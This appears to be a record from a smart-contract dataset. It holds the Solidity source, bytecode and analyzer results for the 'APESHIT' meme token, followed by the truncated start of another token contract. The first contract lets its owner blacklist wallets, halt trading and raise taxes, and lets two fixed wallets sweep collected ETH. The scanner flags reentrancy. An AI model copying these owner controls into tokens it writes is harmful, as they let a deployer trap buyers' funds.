event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract APESHIT is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Apecoin is SHIT";
string private constant _symbol = "APESHIT";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 12;
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 15;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x99feb810FFc7A54a3250cd7F03e6FAf1545F8607);
address payable private _marketingAddress = payable(0xFe23497c5Db0c409613E4be359b7d1Ed526828f6);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen = false;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000000 * 10**9;
uint256 public _maxWalletSize = 10000000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
require(redisFeeOnBuy >= 0 && redisFeeOnBuy <= 4, "Buy rewards must be between 0% and 4%");
require(taxFeeOnBuy >= 0 && taxFeeOnBuy <= 20, "Buy tax must be between 0% and 20%");
require(redisFeeOnSell >= 0 && redisFeeOnSell <= 4, "Sell rewards must be between 0% and 4%");
require(taxFeeOnSell >= 0 && taxFeeOnSell <= 20, "Sell tax must be between 0% and 20%");
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
if (maxTxAmount > 5000000000 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461055e578063dd62ed3e1461057e578063ea1644d5146105c4578063f2fde38b146105e457600080fd5b8063a2a957bb146104d9578063a9059cbb146104f9578063bfd7928414610519578063c3c8cd801461054957600080fd5b80638f70ccf7116100d15780638f70ccf7146104535780638f9a55c01461047357806395d89b411461048957806398a5c315146104b957600080fd5b80637d1db4a5146103f25780637f2feddc146104085780638da5cb5b1461043557600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038857806370a082311461039d578063715018a6146103bd57806374010ece146103d257600080fd5b8063313ce5671461030c57806349bd5a5e146103285780636b999053146103485780636d8aa8f81461036857600080fd5b80631694505e116101ab5780631694505e1461027857806318160ddd146102b057806323b872dd146102d65780632fd689e3146102f657600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024857600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611ae3565b610604565b005b34801561020a57600080fd5b5060408051808201909152600f81526e105c1958dbda5b881a5cc814d21255608a1b60208201525b60405161023f9190611ba8565b60405180910390f35b34801561025457600080fd5b50610268610263366004611bfd565b6106a3565b604051901515815260200161023f565b34801561028457600080fd5b50601454610298906001600160a01b031681565b6040516001600160a01b03909116815260200161023f565b3480156102bc57600080fd5b50683635c9adc5dea000005b60405190815260200161023f565b3480156102e257600080fd5b506102686102f1366004611c29565b6106ba565b34801561030257600080fd5b506102c860185481565b34801561031857600080fd5b506040516009815260200161023f565b34801561033457600080fd5b50601554610298906001600160a01b031681565b34801561035457600080fd5b506101fc610363366004611c6a565b610723565b34801561037457600080fd5b506101fc610383366004611c97565b61076e565b34801561039457600080fd5b506101fc6107b6565b3480156103a957600080fd5b506102c86103b8366004611c6a565b610801565b3480156103c957600080fd5b506101fc610823565b3480156103de57600080fd5b506101fc6103ed366004611cb2565b610897565b3480156103fe57600080fd5b506102c860165481565b34801561041457600080fd5b506102c8610423366004611c6a565b60116020526000908152604090205481565b34801561044157600080fd5b506000546001600160a01b0316610298565b34801561045f57600080fd5b506101fc61046e366004611c97565b6108d6565b34801561047f57600080fd5b506102c860175481565b34801561049557600080fd5b5060408051808201909152600781526610541154d2125560ca1b6020820152610232565b3480156104c557600080fd5b506101fc6104d4366004611cb2565b61091e565b3480156104e557600080fd5b506101fc6104f4366004611ccb565b61094d565b34801561050557600080fd5b50610268610514366004611bfd565b610b03565b34801561052557600080fd5b50610268610534366004611c6a565b60106020526000908152604090205460ff1681565b34801561055557600080fd5b506101fc610b10565b34801561056a57600080fd5b506101fc610579366004611cfd565b610b64565b34801561058a57600080fd5b506102c8610599366004611d81565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105d057600080fd5b506101fc6105df366004611cb2565b610c05565b3480156105f057600080fd5b506101fc6105ff366004611c6a565b610c34565b6000546001600160a01b031633146106375760405162461bcd60e51b815260040161062e90611dba565b60405180910390fd5b60005b815181101561069f5760016010600084848151811061065b5761065b611def565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069781611e1b565b91505061063a565b5050565b60006106b0338484610d1e565b5060015b92915050565b60006106c7848484610e42565b610719843361071485604051806060016040528060288152602001611f35602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061137e565b610d1e565b5060019392505050565b6000546001600160a01b0316331461074d5760405162461bcd60e51b815260040161062e90611dba565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107985760405162461bcd60e51b815260040161062e90611dba565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107eb57506013546001600160a01b0316336001600160a01b0316145b6107f457600080fd5b476107fe816113b8565b50565b6001600160a01b0381166000908152600260205260408120546106b4906113f2565b6000546001600160a01b0316331461084d5760405162461bcd60e51b815260040161062e90611dba565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108c15760405162461bcd60e51b815260040161062e90611dba565b674563918244f400008111156107fe57601655565b6000546001600160a01b031633146109005760405162461bcd60e51b815260040161062e90611dba565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109485760405162461bcd60e51b815260040161062e90611dba565b601855565b6000546001600160a01b031633146109775760405162461bcd60e51b815260040161062e90611dba565b60048411156109d65760405162461bcd60e51b815260206004820152602560248201527f4275792072657761726473206d757374206265206265747765656e20302520616044820152646e6420342560d81b606482015260840161062e565b6014821115610a325760405162461bcd60e51b815260206004820152602260248201527f42757920746178206d757374206265206265747765656e20302520616e642032604482015261302560f01b606482015260840161062e565b6004831115610a925760405162461bcd60e51b815260206004820152602660248201527f53656c6c2072657761726473206d757374206265206265747765656e20302520604482015265616e6420342560d01b606482015260840161062e565b6014811115610aef5760405162461bcd60e51b815260206004820152602360248201527f53656c6c20746178206d757374206265206265747765656e20302520616e642060448201526232302560e81b606482015260840161062e565b600893909355600a91909155600955600b55565b60006106b0338484610e42565b6012546001600160a01b0316336001600160a01b03161480610b4557506013546001600160a01b0316336001600160a01b0316145b610b4e57600080fd5b6000610b5930610801565b90506107fe81611476565b6000546001600160a01b03163314610b8e5760405162461bcd60e51b815260040161062e90611dba565b60005b82811015610bff578160056000868685818110610bb057610bb0611def565b9050602002016020810190610bc59190611c6a565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610bf781611e1b565b915050610b91565b50505050565b6000546001600160a01b03163314610c2f5760405162461bcd60e51b815260040161062e90611dba565b601755565b6000546001600160a01b03163314610c5e5760405162461bcd60e51b815260040161062e90611dba565b6001600160a01b038116610cc35760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161062e565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610d805760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161062e565b6001600160a01b038216610de15760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161062e565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ea65760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161062e565b6001600160a01b038216610f085760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161062e565b60008111610f6a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161062e565b6000546001600160a01b03848116911614801590610f9657506000546001600160a01b03838116911614155b1561127757601554600160a01b900460ff1661102f576000546001600160a01b0384811691161461102f5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161062e565b6016548111156110815760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161062e565b6001600160a01b03831660009081526010602052604090205460ff161580156110c357506001600160a01b03821660009081526010602052604090205460ff16155b61111b5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161062e565b6015546001600160a01b038381169116146111a0576017548161113d84610801565b6111479190611e36565b106111a05760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161062e565b60006111ab30610801565b6018546016549192508210159082106111c45760165491505b8080156111db5750601554600160a81b900460ff16155b80156111f557506015546001600160a01b03868116911614155b801561120a5750601554600160b01b900460ff165b801561122f57506001600160a01b03851660009081526005602052604090205460ff16155b801561125457506001600160a01b03841660009081526005602052604090205460ff16155b156112745761126282611476565b47801561127257611272476113b8565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806112b957506001600160a01b03831660009081526005602052604090205460ff165b806112eb57506015546001600160a01b038581169116148015906112eb57506015546001600160a01b03848116911614155b156112f857506000611372565b6015546001600160a01b03858116911614801561132357506014546001600160a01b03848116911614155b1561133557600854600c55600954600d555b6015546001600160a01b03848116911614801561136057506014546001600160a01b03858116911614155b1561137257600a54600c55600b54600d555b610bff848484846115f0565b600081848411156113a25760405162461bcd60e51b815260040161062e9190611ba8565b5060006113af8486611e4e565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561069f573d6000803e3d6000fd5b60006006548211156114595760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161062e565b600061146361161e565b905061146f8382611641565b9392505050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106114be576114be611def565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611517573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061153b9190611e65565b8160018151811061154e5761154e611def565b6001600160a01b0392831660209182029290920101526014546115749130911684610d1e565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906115ad908590600090869030904290600401611e82565b600060405180830381600087803b1580156115c757600080fd5b505af11580156115db573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806115fd576115fd611683565b6116088484846116b1565b80610bff57610bff600e54600c55600f54600d55565b600080600061162b6117a8565b909250905061163a8282611641565b9250505090565b600061146f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506117ea565b600c541580156116935750600d54155b1561169a57565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806116c387611818565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506116f59087611875565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461172490866118b7565b6001600160a01b03891660009081526002602052604090205561174681611916565b6117508483611960565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161179591815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea000006117c48282611641565b8210156117e157505060065492683635c9adc5dea0000092509050565b90939092509050565b6000818361180b5760405162461bcd60e51b815260040161062e9190611ba8565b5060006113af8486611ef3565b60008060008060008060008060006118358a600c54600d54611984565b925092509250600061184561161e565b905060008060006118588e8787876119d9565b919e509c509a509598509396509194505050505091939550919395565b600061146f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061137e565b6000806118c48385611e36565b90508381101561146f5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161062e565b600061192061161e565b9050600061192e8383611a29565b3060009081526002602052604090205490915061194b90826118b7565b30600090815260026020526040902055505050565b60065461196d9083611875565b60065560075461197d90826118b7565b6007555050565b600080808061199e60646119988989611a29565b90611641565b905060006119b160646119988a89611a29565b905060006119c9826119c38b86611875565b90611875565b9992985090965090945050505050565b60008080806119e88886611a29565b905060006119f68887611a29565b90506000611a048888611a29565b90506000611a16826119c38686611875565b939b939a50919850919650505050505050565b600082611a38575060006106b4565b6000611a448385611f15565b905082611a518583611ef3565b1461146f5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161062e565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107fe57600080fd5b8035611ade81611abe565b919050565b60006020808385031215611af657600080fd5b823567ffffffffffffffff80821115611b0e57600080fd5b818501915085601f830112611b2257600080fd5b813581811115611b3457611b34611aa8565b8060051b604051601f19603f83011681018181108582111715611b5957611b59611aa8565b604052918252848201925083810185019188831115611b7757600080fd5b938501935b82851015611b9c57611b8d85611ad3565b84529385019392850192611b7c565b98975050505050505050565b600060208083528351808285015260005b81811015611bd557858101830151858201604001528201611bb9565b81811115611be7576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611c1057600080fd5b8235611c1b81611abe565b946020939093013593505050565b600080600060608486031215611c3e57600080fd5b8335611c4981611abe565b92506020840135611c5981611abe565b929592945050506040919091013590565b600060208284031215611c7c57600080fd5b813561146f81611abe565b80358015158114611ade57600080fd5b600060208284031215611ca957600080fd5b61146f82611c87565b600060208284031215611cc457600080fd5b5035919050565b60008060008060808587031215611ce157600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611d1257600080fd5b833567ffffffffffffffff80821115611d2a57600080fd5b818601915086601f830112611d3e57600080fd5b813581811115611d4d57600080fd5b8760208260051b8501011115611d6257600080fd5b602092830195509350611d789186019050611c87565b90509250925092565b60008060408385031215611d9457600080fd5b8235611d9f81611abe565b91506020830135611daf81611abe565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611e2f57611e2f611e05565b5060010190565b60008219821115611e4957611e49611e05565b500190565b600082821015611e6057611e60611e05565b500390565b600060208284031215611e7757600080fd5b815161146f81611abe565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611ed25784516001600160a01b031683529383019391830191600101611ead565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611f1057634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611f2f57611f2f611e05565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d3811c94c8252fc56d4ee112a91dca5b905ec49e368508b01232e820f42af70464736f6c634300080c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
| 9,110 |
0xbf6cf239cd20e81313872083b473e09477fae86f
|
pragma solidity ^0.6.12;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
